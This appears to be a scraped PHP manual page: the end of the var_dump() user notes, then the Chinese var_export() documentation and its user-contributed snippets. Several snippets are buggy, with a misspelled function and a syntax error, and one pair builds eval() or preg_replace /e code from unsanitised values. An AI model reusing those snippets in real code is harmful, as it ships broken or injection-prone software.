 * @param string $var_name  -- name of variable (optional) -- displayed in printout making it easier to sort out what variable is what in a complex output
 * @param string $indent -- used by internal recursive call (no known external value)
 * @param unknown_type $reference -- used by internal recursive call (no known external value)
 */
function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)
{
    $do_dump_indent = "<span style='color:#666666;'>|</span> &nbsp;&nbsp; ";
    $reference = $reference.$var_name;
    $keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';

    // So this is always visible and always left justified and readable
    echo "<div style='text-align:left; background-color:white; font: 100% monospace; color:black;'>";

    if (is_array($var) && isset($var[$keyvar]))
    {
        $real_var = &$var[$keyvar];
        $real_name = &$var[$keyname];
        $type = ucfirst(gettype($real_var));
        echo "$indent$var_name <span style='color:#666666'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>";
    }
    else
    {
        $var = array($keyvar => $var, $keyname => $reference);
        $avar = &$var[$keyvar];

        $type = ucfirst(gettype($avar));
        if($type == "String") $type_color = "<span style='color:green'>";
        elseif($type == "Integer") $type_color = "<span style='color:red'>";
        elseif($type == "Double"){ $type_color = "<span style='color:#0099c5'>"; $type = "Float"; }
        elseif($type == "Boolean") $type_color = "<span style='color:#92008d'>";
        elseif($type == "NULL") $type_color = "<span style='color:black'>";

        if(is_array($avar))
        {
            $count = count($avar);
            echo "$indent" . ($var_name ? "$var_name => ":"") . "<span style='color:#666666'>$type ($count)</span><br>$indent(<br>";
            $keys = array_keys($avar);
            foreach($keys as $name)
            {
                $value = &$avar[$name];
                do_dump($value, "['$name']", $indent.$do_dump_indent, $reference);
            }
            echo "$indent)<br>";
        }
        elseif(is_object($avar))
        {
            echo "$indent$var_name <span style='color:#666666'>$type</span><br>$indent(<br>";
            foreach($avar as $name=>$value) do_dump($value, "$name", $indent.$do_dump_indent, $reference);
            echo "$indent)<br>";
        }
        elseif(is_int($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".htmlentities($avar)."</span><br>";
        elseif(is_string($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color\"".htmlentities($avar)."\"</span><br>";
        elseif(is_float($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".htmlentities($avar)."</span><br>";
        elseif(is_bool($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> $type_color".($avar == 1 ? "TRUE":"FALSE")."</span><br>";
        elseif(is_null($avar)) echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> {$type_color}NULL</span><br>";
        else echo "$indent$var_name = <span style='color:#666666'>$type(".strlen($avar).")</span> ".htmlentities($avar)."<br>";

        $var = $var[$keyvar];
    }

    echo "</div>";
}
?>
kobrasrealm at gmail dot com 23-Jun-2011 01:28
I wrote this dandy little function for using var_dump() on HTML documents so I don't have to view the source.

<?php
function htmldump($variable, $height="9em") {
echo "<pre style=\"border: 1px solid #000; height: {$height}; overflow: auto; margin: 0.5em;\">";
var_dump($variable);
echo "</pre>\n";
}
?>

You can pass arguments like this:
<?php
$sql = mysql_query("SELECT id, name, value FROM table WHERE cond = 'value'");
$s = mysql_fetch_assoc($sql);

// Dump variable containing the result of the MySQL query
var_dump($s);
?>

The second parameter lets you specify the height of the box. Default is 9em, but if you're expecting a huge output you'll probably want a higher value.

<?php
var_dump($s, "17em");
?>

Happy var_dumping.
divinity76 at gmail dot com 23-Apr-2011 06:53
a html-encoded var_dump

<?php
function htmlvardump(){ob_start(); $var = func_get_args(); call_user_func_array('var_dump', $var); echo htmentities(ob_get_clean());}
?>

(creds: ekneuss / mOo @ irc.freenode.net/#php )
david at exposito dot mobi 07-Feb-2010 11:36
If you want to save exactly the content of an array into a variable to save ir later for example, use this:

<?php $xml = var_export($xml, true); ?>

You'll have in your same variable the content readable, instead of written down or anything else
egorinsk at gmail com 02-Feb-2009 04:08
Note that var_dump reset()'s array internal pointer!
rich dot schu at gmail dot com 09-Apr-2008 05:56
Keep in mind if you have xdebug installed it will limit the var_dump() output of array elements and object properties to 3 levels deep.

To change the default, edit your xdebug.ini file and add the folllowing line:
xdebug.var_display_max_depth=n

More information here:
http://www.xdebug.org/docs/display
highstrike at gmail dot com 08-Jan-2008 05:33
made 2 nifty functions based of what some people contributed here. Hope you find them usefull

usage ... call for the dump function. EG: dump($array, "Array dump");

<?php
////////////////////////////////////////////////////////
// Function:         dump
// Inspired from:     PHP.net Contributions
// Description: Helps with php debugging

function dump(&$var, $info = FALSE)
{
    $scope = false;
    $prefix = 'unique';
    $suffix = 'value';

    if($scope) $vals = $scope;
    else $vals = $GLOBALS;

    $old = $var;
    $var = $new = $prefix.rand().$suffix; $vname = FALSE;
    foreach($vals as $key => $val) if($val === $new) $vname = $key;
    $var = $old;

    echo "<pre style='margin: 0px 0px 10px 0px; display: block; background: white; color: black; font-family: Verdana; border: 1px solid #cccccc; padding: 5px; font-size: 10px; line-height: 13px;'>";
    if($info != FALSE) echo "<b style='color: red;'>$info:</b><br>";
    do_dump($var, '$'.$vname);
    echo "</pre>";
}

////////////////////////////////////////////////////////
// Function:         do_dump
// Inspired from:     PHP.net Contributions
// Description: Better GI than print_r or var_dump

function do_dump(&$var, $var_name = NULL, $indent = NULL, $reference = NULL)
{
    $do_dump_indent = "<span style='color:#eeeeee;'>|</span> &nbsp;&nbsp; ";
    $reference = $reference.$var_name;
    $keyvar = 'the_do_dump_recursion_protection_scheme'; $keyname = 'referenced_object_name';

    if (is_array($var) && isset($var[$keyvar]))
    {
        $real_var = &$var[$keyvar];
        $real_name = &$var[$keyname];
        $type = ucfirst(gettype($real_var));
        echo "$indent$var_name <span style='color:#a2a2a2'>$type</span> = <span style='color:#e87800;'>&amp;$real_name</span><br>";
    }
    else
    {
        $var = array($keyvar => $var, $keyname => $reference);
        $avar = &$var[$keyvar];

        $type = ucfirst(gettype($avar));
        if($type == "String") $type_color = "<span style='color:green'>";
        elseif($type == "Integer") $type_color = "<span style='color:red'>";
        elseif($type == "Double"){ $type_color = "<span style='color:#0099c5'>"; $type = "Float"; }
        elseif($type == "Boolean") $type_color = "<span style='color:#92008d'>";
        elseif($type == "NULL") $type_color = "<span style='color:black'>";

        if(is_array($avar))
        {
            $count = count($avar);
            echo "$indent" . ($var_name ? "$var_name => ":"") . "<span style='color:#a2a2a2'>$type ($count)</span><br>$indent(<br>";
            $keys = array_keys($avar);
            foreach($keys as $name)
            {
                $value = &$avar[$name];
                do_dump($value, "['$name']", $indent.$do_dump_indent, $reference);
            }
            echo "$indent)<br>";
        }
        elseif(is_object($avar))
        {
            echo "$indent$var_name <span style='color:#a2a2a2'>$type</span><br>$indent(<br>";
            foreach($avar as $name=>$value) do_dump($value, "$name", $indent.$do_dump_indent, $reference);
            echo "$indent)<br>";
        }
        elseif(is_int($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color$avar</span><br>";
        elseif(is_string($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color\"$avar\"</span><br>";
        elseif(is_float($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color$avar</span><br>";
        elseif(is_bool($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $type_color".($avar == 1 ? "TRUE":"FALSE")."</span><br>";
        elseif(is_null($avar)) echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> {$type_color}NULL</span><br>";
        else echo "$indent$var_name = <span style='color:#a2a2a2'>$type(".strlen($avar).")</span> $avar<br>";

        $var = $var[$keyvar];
    }
}
?>
vladimir at pixeltomorrow dot com 10-Sep-2007 12:45
You can also use the PEAR package available at http://pear.php.net/package/Var_Dump

which parses the variable content in a very pleasant manner, a lot more easier to "follow" than the built-in var_dump() function.

Of course there are many others, but I prefer this one, because it's simply to use.

Just add at the begining of your file:

<?php

require('Var_Dump.php'); // make sure the pear package path is set in php.ini
Var_Dump::displayInit(array('display_mode' => 'HTML4_Text'), array('mode' => 'normal','offset' => 4));
?>

then, instead of simply using var_dump($foo), use:

<?php

Var_Dump::display($foo);

?>

Read the documentation if you're looking for different output layouts.

Cheers!
Vladimir Ghetau
thriller dot ze at gmail dot com 21-Aug-2007 01:49
As Bryan said, it is possible to capture var_dump() output to a string. But it's not quite exact if the dumped variable contains HTML code.

You can use this instead:

<?php
echo '<pre>'; // This is for correct handling of newlines
ob_start();
var_dump($var);
$a=ob_get_contents();
ob_end_clean();
echo htmlspecialchars($a,ENT_QUOTES); // Escape every HTML special chars (especially > and < )
echo '</pre>';
?>
php at mikeboers dot com 28-Jun-2007 01:08
Howdy!

I am working on a pretty large project where I needed to dump a human readable form of whatever into the log files... and I thought var_export was too difficult to read. BigueNique at yahoo dot ca has a nice solution, although I needed to NOT modify whatever was being passed to dump.

So borrowing heavily from BigueNique's (just reworked his function) and someone's idea over in the object cloning page, I came up with the following function.

It makes a complete copy of whatever object you initially pass it, including all recursive definitions and outside objects references, then does the same thing as BigueNique's function. I also heavily reworked what it output, to suit my needs.

<?php

function var_log(&$varInput, $var_name='', $reference='', $method = '=', $sub = false) {

    static $output ;
    static $depth ;

    if ( $sub == false ) {
        $output = '' ;
        $depth = 0 ;
        $reference = $var_name ;
        $var = serialize( $varInput ) ;
        $var = unserialize( $var ) ;
    } else {
        ++$depth ;
        $var =& $varInput ;

    }

    // constants
    $nl = "\n" ;
    $block = 'a_big_recursion_protection_block';

    $c = $depth ;
    $indent = '' ;
    while( $c -- > 0 ) {
        $indent .= '|  ' ;
    }

    // if this has been parsed before
    if ( is_array($var) && isset($var[$block])) {

        $real =& $var[ $block ] ;
        $name =& $var[ 'name' ] ;
        $type = gettype( $real ) ;
        $output .= $indent.$var_name.' '.$method.'& '.($type=='array'?'Array':get_class($real)).' '.$name.$nl;

    // havent parsed this before
    } else {

        // insert recursion blocker
        $var = Array( $block => $var, 'name' => $reference );
        $theVar =& $var[ $block ] ;

        // print it out
        $type = gettype( $theVar ) ;
        switch( $type ) {

            case 'array' :
                $output .= $indent . $var_name . ' '.$method.' Array ('.$nl;
                $keys=array_keys($theVar);
                foreach($keys as $name) {
                    $value=&$theVar[$name];
                    var_log($value, $name, $reference.'["'.$name.'"]', '=', true);
                }
                $output .= $indent.')'.$nl;
                break ;

            case 'object' :
                $output .= $indent.$var_name.' = '.get_class($theVar).' {'.$nl;
                foreach($theVar as $name=>$value) {
                    var_log($value, $name, $reference.'->'.$name, '->', true);
                }
                $output .= $indent.'}'.$nl;
                break ;

            case 'string' :
                $output .= $indent . $var_name . ' '.$method.' "'.$theVar.'"'.$nl;
                break ;

            default :
                $output .= $indent . $var_name . ' '.$method.' ('.$type.') '.$theVar.$nl;
                break ;

        }

        // $var=$var[$block];

    }

    -- $depth ;

    if( $sub == false )
        return $output ;

}

// var_log( $var, '$name' ) ;

?>

Hope it works well for you!
jonbarnett at gmail dot com 02-Oct-2006 12:25
dumping objects that reference each other could lead to infinite recursion
<?php
$brother = new Sibling();
$sister = new Sibling();
$brother->sister = $sister;
$sister->brother = $brother;

var_dump($brother);
/* dumps all of $brother's properties, including "sister", which dumps all of $sister's properties, including "brother", etc. */
?>
edwardzyang at thewritingpot dot com 20-Mar-2005 02:06
If you're like me and uses var_dump whenever you're debugging, you might find these two "wrapper" functions helpful.

This one automatically adds the PRE tags around the var_dump output so you get nice formatted arrays.

<?php

function var_dump_pre($mixed = null) {
  echo '<pre>';
  var_dump($mixed);
  echo '</pre>';
  return null;
}

?>

This one returns the value of var_dump instead of outputting it.

<?php

function var_dump_ret($mixed = null) {
  ob_start();
  var_dump($mixed);
  $content = ob_get_contents();
  ob_end_clean();
  return $content;
}

?>

Fairly simple functions, but they're infinitely helpful (I use var_dump_pre() almost exclusively now).
anon 28-Jan-2005 06:31
var_dump(get_defined_vars());
will dump all defined variables to the browser.


输出或返回变量的可解析字符串表示

  • ? var_dump
  • Web 服务 ?
  • PHP Manual
  • 变量处理函数
  • 输出或返回变量的可解析字符串表示

var_export

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

var_export — 输出或返回变量的可解析字符串表示

说明

var_export(mixed $value, bool $return = false): ?string

var_export() 函数返回关于传递给该函数的变量的结构信息，它和 var_dump() 函数类似，不同的是其返回的表示是合法的 PHP 代码。

参数

value

想要输出的变量名。

return

此参数为 true 时，var_export() 将返回一个变量，而不是输出它。

返回值

参数 return 为 true 时返回变量。否则返回 null。

更新日志

版本 | 说明
8.2.0 | 现在导出的是完整类名；以前会省略开头反斜线。
7.3.0 | 现在将 stdClass 对象作为数组类型转换为对象输出（ (object) array( ... )），而不是使用不存在的 stdClass::__setState() 方法。实际效果是，现在 stdClass 是可输出的，生成的代码甚至可以在早期的 PHP 版本上运行。

示例

Example #1 var_export() 示例

<?php
$a = array (1, 2, array ("a", "b", "c"));
var_export($a);
?>

以上示例会输出：

array (
  0 => 1,
  1 => 2,
  2 =>
  array (
    0 => 'a',
    1 => 'b',
    2 => 'c',
  ),
)
<?php

$b = 3.1;
$v = var_export($b, true);
echo $v;

?>

以上示例会输出：

3.1

Example #2 输出 stdClass 类 (自 PHP 7.3.0 起)

<?php
$person = new stdClass;
$person->name = 'ElePHPant ElePHPantsdotter';
$person->website = 'https://php.net/elephpant.php';

var_export($person);

以上示例会输出：

(object) array(
   'name' => 'ElePHPant ElePHPantsdotter',
   'website' => 'https://php.net/elephpant.php',
)

Example #3 输出对象 (自 PHP 5.1.0 起)

<?php
class A { public $var; }
$a = new A;
$a->var = 5;
var_export($a);
?>

以上示例会输出：

A::__set_state(array(
   'var' => 5,
))

Example #4 使用 __set_state()

<?php
class A
{
public $var1;
public $var2;

public static function __set_state($an_array)
{
$obj = new A;
$obj->var1 = $an_array['var1'];
$obj->var2 = $an_array['var2'];
return $obj;
}
}

$a = new A;
$a->var1 = 5;
$a->var2 = 'foo';

eval('$b = ' . var_export($a, true) . ';'); // $b = A::__set_state(array(
// 'var1' => 5,
// 'var2' => 'foo',
// ));
var_dump($b);
?>

以上示例会输出：

object(A)#2 (2) {
  ["var1"]=>
  int(5)
  ["var2"]=>
  string(3) "foo"
}

注释

Note:

类型为 resource 的变量无法通过此函数输出。

Note:

var_export() 不处理循环引用，因为几乎不可能为此生成可解析的 PHP 代码。如果您想对数组或对象的完整表示进行操作，请使用 serialize()。

Warning

PHP 8.2.0 之前，当 var_export() 输出对象时，为了最大的兼容性，命名空间类的类名中不包含前导反斜杠。

Note:

为了能够执行 var_export() 生成的 PHP ，所有被处理的对象必须实现 __set_state 魔术方法。 唯一的例外是 stdClass ，它作为数组类型转换为对象输出。

参见

  • print_r() - 打印人类可读的变量信息
  • serialize() - 生成值的可存储表示
  • var_dump() - 打印变量的相关信息

User Contributed Notes

php dot net at rupert-eibauer dot de 08-Oct-2022 01:02
Warning: var_export fails to create distinct property names if you have a private property in your class and one with the same name in a parent class.

<?php
class TestParent {
    private $priv = "Parent Private";
    protected $prot = "Parent Protected";
    public $pub = "Parent Public";
}
class Test extends TestParent {
    private $priv = "Private Info";
    protected $prot = "Protected Info";
    public $pub = "Public Info";
}
$t = new Test;
var_export($t);
Result:
Test::__set_state(array(
   'priv' => 'Private Info',
   'prot' => 'Protected Info',
   'pub' => 'Public Info',
   'priv' => 'Parent Private',
))
?>

To work around that problem, I created my own var_export, which also uses a more compact format, and using [] for arrays:

<?php
function var_export3($var, $indent = '') {
    if (is_array($var)) {
        $indent .= '    ';
        $ret = '';
        $i = 0;
        $is_num = true;
        foreach ($var AS $idx => $value) {
            if ($ret != '')
                $ret .= ",\n";
            if ($is_num && $idx === $i) {
                $i++;
                $ret .= $indent.var_export3($value, $indent);
            } else {
                $is_num = false;
                $ret .= $indent.var_export3($idx).'=>'.var_export3($value, $indent);
            }
        }
        if ($ret == '')
            return "[]";
        return "[\n".$ret."]";
    } else if (is_bool($var)) {
        return $var ? 'true' : 'false';
    } else if (is_int($var) || is_float($var)) {
        return $var;
    } else if (is_string($var)) {
        if ($var === (string)(float)$var)
            return $var;
        return "'".str_replace(["\0", '\\', '\''], ["\\0", '\\', '\\\''], $var)."'";
    } else if (is_object($var)) {
        $class = get_class($var);
        if ($class == 'stdClass') {
            $prefix = ;
            return "(object)".var_export3((array)$var, $indent);
        } else {
            return "$class::__set_state(".var_export3((array)$var, $indent).')';
        }
    }
}

echo var_export3($t)."\n";
Result:
Test::__set_state([
        '\0Test\0priv'=>'Private Info',
        '\0*\0prot'=>'Protected Info',
        'pub'=>'Public Info',
        '\0TestParent\0priv'=>'Parent Private'])
?>
Note that replacement for non-printable characters is not complete.
steven at nevvix dot com 13-Sep-2019 03:52
I improved my previous varexport().

<?php
/**
 * PHP var_export() with short array syntax (square brackets) indented 2 spaces.
 *
 * NOTE: The only issue is when a string value has `=>\n[`, it will get converted to `=> [`
 * @link https://www.php.net/manual/en/function.var-export.php
 */
function varexport($expression, $return=FALSE) {
    $export = var_export($expression, TRUE);
    $patterns = [
        "/array \(/" => '[',
        "/^([ ]*)\)(,?)$/m" => '$1]$2',
        "/=>[ ]?\n[ ]+\[/" => '=> [',
        "/([ ]*)(\'[^\']+\') => ([\[\'])/" => '$1$2 => $3',
    ];
    $export = preg_replace(array_keys($patterns), array_values($patterns), $export);
    if ((bool)$return) return $export; else echo $export;
}

$array = [
    'str' => 'Test
       spaces',
       0 => 33,
       1 => TRUE,
       [3,4,'d',[]],
    'arr' => [
        'text with spaces' => '[Tes\'t"s":
 => [
 =>
  [
   {
      spaces',
    ],
    "str2" => "Test's'
 } spaces",
    'arr2' => [
        'text with spaces' => [
            'arr3' => [
                'text with spaces' => 'Te": "st \' => [
      spaces',
            ],
        ],
    ],
];
varexport($array);
// Result:
```
[
  'str' => 'Test
       spaces',
  0 => 33,
  1 => true,
  2 => [
    0 => 3,
    1 => 4,
    2 => 'd',
    3 => [
    ],
  ],
  'arr' => [
    'text with spaces' => '[Tes\'t"s":
 => [
 => [
   {
      spaces',
  ],
  'str2' => 'Test\'s\'
 } spaces',
  'arr2' => [
    'text with spaces' => [
      'arr3' => [
        'text with spaces' => 'Te": "st \' => [
      spaces',
      ],
    ],
  ],
]
```
NOTE: The only issue is when a string value has `=>\n[`, it will get converted to `=> [`
beverasrilakshmi at gmail dot com 01-May-2019 08:24
Just for fun, trying to understand the definition of "returns parsable string"....any type of variable passed to var_export, the return value will be a typecasted as string...

<?php

$var = 1;
var_dump($var); //type is int as expected
echo "<br>";
$var_after_export = var_export($var,true); //returning $var will now makes it a string
var_dump($var_after_export);

?>
steven at nevvix dot com 18-Jun-2018 06:24
/**
 * var_export() with square brackets and indented 4 spaces.
 */
<?php
function varexport($expression, $return=FALSE) {
    $export = var_export($expression, TRUE);
    $export = preg_replace("/^([ ]*)(.*)/m", '$1$1$2', $export);
    $array = preg_split("/\r\n|\n|\r/", $export);
    $array = preg_replace(["/\s*array\s\($/", "/\)(,)?$/", "/\s=>\s$/"], [NULL, ']$1', ' => ['], $array);
    $export = join(PHP_EOL, array_filter(["["] + $array));
    if ((bool)$return) return $export; else echo $export;
}
Mark P 29-Jan-2016 09:09
It doesn't appear to be documented, but the behaviour of `var_export()` changed in PHP 7.

Previously, `var_export(3.)` returned "3", now it returns "3.0".
cpmcgrat()uci ! edu 27-Jul-2015 10:45
When trying to use __set_state() to rebuild a huge, tricky class use the following:

class Foo
{
    public $a;
    public $b;
    public $c;
    public $d;
    public $e;
    public $f;
    public $g;
    public $h;
    public $i;

    public function __set_state($array)
    {
        $obj = new ArrayConfig;
        foreach($array as $k => $v) {
            eval('$obj->'.$k.' = '.$v.';');
        }
        return $obj;
    }
}

This will return a reconstructed version of the class without having to manually type each individual object in the class manually (as shown in the __set_state() example)
dan at coders dot co dot nz 10-Jan-2014 02:11
I found that my complex type was exporting with
  stdClass::__set_state()
in places. Not only was that strange and messy, it cannot be eval()-ed back in at all. Fatal error. Doh!

However a quick string-replace tidy-up of the result rendered it valid again.

    $macro = var_export($data, TRUE);
    $macro = str_replace("stdClass::__set_state", "(object)", $macro);
    $macro = '$data = ' . $macro . ';';

And now the string I output *can* be evaluated back in again.
wyattstorch42 at outlook dot com 22-Dec-2013 10:11
If you call var_export() on an instance of stdClass, it attempts to export it using ::__set_state(), which, for some reason, is not implemented in stdClass.

However, casting an associative array to an object usually produces the same effect (at least, it does in my case). So I wrote an improved_var_export() function to convert instances of stdClass to (object) array () calls. If you choose to export objects of any other class, I'd advise you to implement ::__set_state().

<?php
/**
 * An implementation of var_export() that is compatible with instances
 * of stdClass.
 * @param mixed $variable The variable you want to export
 * @param bool $return If used and set to true, improved_var_export()
 *     will return the variable representation instead of outputting it.
 * @return mixed|null Returns the variable representation when the
 *     return parameter is used and evaluates to TRUE. Otherwise, this
 *     function will return NULL.
 */
function improved_var_export ($variable, $return = false) {
    if ($variable instanceof stdClass) {
        $result = '(object) '.improved_var_export(get_object_vars($variable), true);
    } else if (is_array($variable)) {
        $array = array ();
        foreach ($variable as $key => $value) {
            $array[] = var_export($key, true).' => '.improved_var_export($value, true);
        }
        $result = 'array ('.implode(', ', $array).')';
    } else {
        $result = var_export($variable, true);
    }

    if (!$return) {
        print $result;
        return null;
    } else {
        return $result;
    }
}

// Example usage:
$obj = new stdClass;
$obj->test = 'abc';
$obj->other = 6.2;
$obj->arr = array (1, 2, 3);

improved_var_export((object) array (
    'prop1' => true,
    'prop2' => $obj,
    'assocArray' => array (
        'apple' => 'good',
        'orange' => 'great'
    )
));

/* Output:
(object) array ('prop1' => true, 'prop2' => (object) array ('test' => 'abc', 'other' => 6.2, 'arr' => array (0 => 1, 1 => 2, 2 => 3)), 'assocArray' => array ('apple' => 'good', 'orange' => 'great'))
*/
?>

Note: This function spits out a single line of code, which is useful to save in a cache file to include/eval. It isn't formatted for readability. If you want to print a readable version for debugging purposes, then I would suggest print_r() or var_dump().
chudinov at yahoo dot com 29-Nov-2013 09:55
Looks like since version 5.4.22 var_export uses the serialize_precision ini setting, rather than the precision one used for normal output of floating-point numbers.
As a consequence since version 5.4.22 for example var_export(1.1) will output 1.1000000000000001 (17 is default precision value) and not 1.1 as before.

<?php
//ouput 1.1000000000000001
var_export(1.1)
 ?>
NitPicker 10-Jul-2013 04:33
When it comes to HTML output (as discussed below), it's all fun and games until someone pokes their eye out with a "<".

Surround it with "<pre>", but do remember to wrap it in htmlspecialchars() as well.
sergei dot solomonov at gmail dot com 04-Oct-2012 04:00
<?php
$closure = function(){};

var_export($closure);

// output: Closure::__set_state(array())
?>
kexianbin at diyism dot com 16-Sep-2012 02:33
to use my_var_export(), it is as beautiful as var_export() and as could deal with recursive reference as print_r():

<?php
function my_var_export($var, $is_str=false)
         {$rtn=preg_replace(array('/Array\s+\(/', '/\[(\d+)\] => (.*)\n/', '/\[([^\d].*)\] => (.*)\n/'), array('array (', '\1 => \'\2\''."\n", '\'\1\' => \'\2\''."\n"), substr(print_r($var, true), 0, -1));
          $rtn=strtr($rtn, array("=> 'array ('"=>'=> array ('));
          $rtn=strtr($rtn, array(")\n\n"=>")\n"));
          $rtn=strtr($rtn, array("'\n"=>"',\n", ")\n"=>"),\n"));
          $rtn=preg_replace(array('/\n +/e'), array('strtr(\'\0\', array(\'    \'=>\'  \'))'), $rtn);
          $rtn=strtr($rtn, array(" Object',"=>" Object'<-"));
          if ($is_str)
             {return $rtn;
             }
          else
              {echo $rtn;
              }
         }

?>
jodybrabec at gmail dot com 28-Mar-2012 05:52
WORKAROUND for error "Nesting level too deep - recursive dependency":
ob_start();
var_dump($GLOBALS);
$dataDump = ob_get_clean();
echo $dataDump;
Anonymous 11-Nov-2011 09:13
There is an even simpler way to have clean output from var_export and print_r in html pages:

<?php
function pretty_var($myArray)
{
    echo "<pre>";
    var_export($myArray);
    echo "</pre>";
}
?>
laszlo dot heredy at gmail dot com 06-Oct-2010 01:57
Try this function instead of var_export($GLOBALS) or var_dump($GLOBALS) when all you want to know is the values of the variables you set on the current page.

<?php
function globalvars(){
    $result=array();
    $skip=array('GLOBALS','_ENV','HTTP_ENV_VARS',
                        '_POST','HTTP_POST_VARS','_GET',
                        'HTTP_GET_VARS',
                        '_COOKIE',
                        'HTTP_COOKIE_VARS','_SERVER',
                        'HTTP_SERVER_VARS',
                        '_FILES','HTTP_POST_FILES',
                        '_REQUEST','HTTP_SESSION_VARS',
                        '_SESSION');
    foreach($GLOBALS as $k=>$v)
        if(!in_array($k,$skip))
            $result[$k]=$v;
    return $result;
}//functionglobalvars

var_export(globalvars());
?>
4n4jmza02 at sneakemail dot com 17-Jun-2010 04:50
I learned the hard way that if var_export encounters a resource handle it exports it as "NULL", even if it is a valid handle. The documentation states that a handle cannot be exported, but it does not describe what happens if you try to do so anyway.

I had been using var_export in some debugging code while tracing a problem with a resource handle not being generated and ended up thinking that null handles were still being generated long after the problem had been fixed.
john dot risken at gmail dot com 16-Jan-2010 03:53
I didn't see this simple little item anywhere in the user notes. Maybe I'm blind!

Anyway, var_export and print_r both use spaces and carriage returns for formatting.  Sent to an html page, most of the formatting is lost. This simple function prints a nicely formatted array to an html screen:

<?php
function pretty_var($myArray){
    print str_replace(array("\n"," "),array("<br>","&nbsp;"), var_export($myArray,true))."<br>";
}
?>
rarioj at gmail dot com 28-Oct-2009 10:43
NOTE: If an object Foo has __set_state() method, but if that object contains another object Bar with no __set_state() method implemented, the resulting PHP expression will not be eval()-able.

This is an example (object Test that contains an instance of Exception).

<?php

class Test
{
  public $one;
  public $two;
  public function __construct($one, $two)
  {
    $this->one = $one;
    $this->two = $two;
  }
  public static function __set_state(array $array)
  {
    return new self($array['one'], $array['two']);
  }
}

$test = new Test('one', new Exception('test'));

$string = var_export($test, true);

/* $string =
Test::__set_state(array(
   'one' => 'one',
   'two' =>
  Exception::__set_state(array(
     'message' => 'test',
     'string' => '',
     'code' => 0,
     'file' => 'E:\\xampp\\htdocs\\test.Q.php',
     'line' => 35,
     'trace' =>
    array (
    ),
     'previous' => NULL,
  )),
))
*/

eval('$test2 = '.$string.';'); // Fatal error: Call to undefined method Exception::__set_state

?>

So avoid using var_export() on a complex array/object that contains other objects. Instead, use serialize() and unserialize() functions.

<?php

$string = 'unserialize('.var_export(serialize($test), true).')';

eval('$test2 = '.$string.';');

var_dump($test == $test2); // bool(true)

?>
ravenswd at gmail dot com 07-Jul-2009 10:32
(This replaces my note of 3-July-2009. The original version produced no output if a variable contained an empty array, or an array consisting only of empty arrays. For example, $bigarray['x'] = array(); Also, I have added a second version of the function.)

The output can be difficult to decipher when looking at an array with many levels and many elements on each level. For example:

<?php
print ('$bigarray = ' . var_export($bigarray, true) . "\n");
?>

will return:

$bigarray = array(
... (500 lines skipped) ...
          'mod' => 'charlie',

Whereas the routine below can be called with:

<?php
recursive_print ('$bigarray', $bigarray);
?>

and it will return:

$bigarray = array()
... (500 lines skipped) ...
$bigarray['foo']['bar']['0']['somethingelse']['mod'] = 'charlie'

Here's the function:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . $varval . "<br>\n";
  else:
    print $varname . " = array()<br>\n";
    foreach ($varval as $key => $val):
      recursive_print ($varname . "['" . $key . "']", $val);
    endforeach;
  endif;
}
?>

For those who want a version that produces valid PHP code, use this version:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . var_export($varval, true) . ";<br>\n";
  else:
    print $varname . " = array();<br>\n";
    foreach ($varval as $key => $val):
      recursive_print ($varname . "[" . var_export($key, true) . "]", $val);
    endforeach;
  endif;
}
?>

If your output is to a text file and not an HTML page, remove the <br>s.
ravenswd at gmail dot com 03-Jul-2009 05:21
The output can be difficult to decipher when looking at an array with many levels and many elements on each level. For example:

<?php
print ('$bigarray = ' . var_export($bigarray, true) . "\n");
?>

will return:

$bigarray = array(
... (500 lines skipped) ...
          'mod' => 'charlie',

Whereas the routine below can be called with:

<?php
recursive_print ('$bigarray', $bigarray);
?>

and it will return:

$bigarray['firstelement'] = 'something'
... (500 lines skipped) ...
$bigarray['foo']['bar']['0']['somethingelse']['mod'] = 'charlie'

Here's the function:

<?php
function recursive_print ($varname, $varval) {
  if (! is_array($varval)):
    print $varname . ' = ' . $varval . "<br>\n";
  else:
    foreach ($varval as $key => $val):
      recursive_print ($varname . "['" . $key . "']", $val);
    endforeach;
  endif;
}
?>
cmusicfan (at) gmail (daught) com 11-Jun-2009 09:19
Caution! var_export will add a backslash to single quotes (').

You may want to use stripslashes() to remove the mysteriously added backslashes.
stangelanda at arrowquick dot com 29-Jun-2007 04:20
I have been looking for the best method to store data in cache files.

First, I've identified two limitations of var_export verus serialize.  It can't store internal references inside of an array and it can't store a nested object or an array containing objects before PHP 5.1.0.

However, I could deal with both of those so I created a benchmark.  I used a single array containing from 10 to 150 indexes.  I've generate the elements' values randomly using booleans, nulls, integers, floats, and some nested arrays (the nested arrays are smaller averaging 5 elements but created similarly).  The largest percentage of elements are short strings around 10-15 characters.  While there is a small number of long strings (around 500 characters).

Benchmarking returned these results for 1000 * [total time] / [iterations (4000 in this case)]

serialize 3.656, 3.575, 3.68, 3.933, mean of 3.71
include 7.099, 5.42, 5.185, 6.076, mean of 5.95
eval 5.514, 5.204, 5.011, 5.788, mean of 5.38

Meaning serialize is around 1 and a half times faster than var_export for a single large array.  include and eval were consistently very close but eval was usually a few tenths faster (eval did better this particular set of trials than usual). An opcode cache like APC might make include faster, but otherwise serialize is the best choice.
Glen 23-May-2007 05:47
Like previously reported, i find var_export() frustrating when dealing with recursive structures.  Doing a :

<?php
var_export($GLOBALS);
?>

fails.  Interestingly, var_dump() has some logic to avoid recursive references.  So :

<?php
var_dump($GLOBALS);
?>

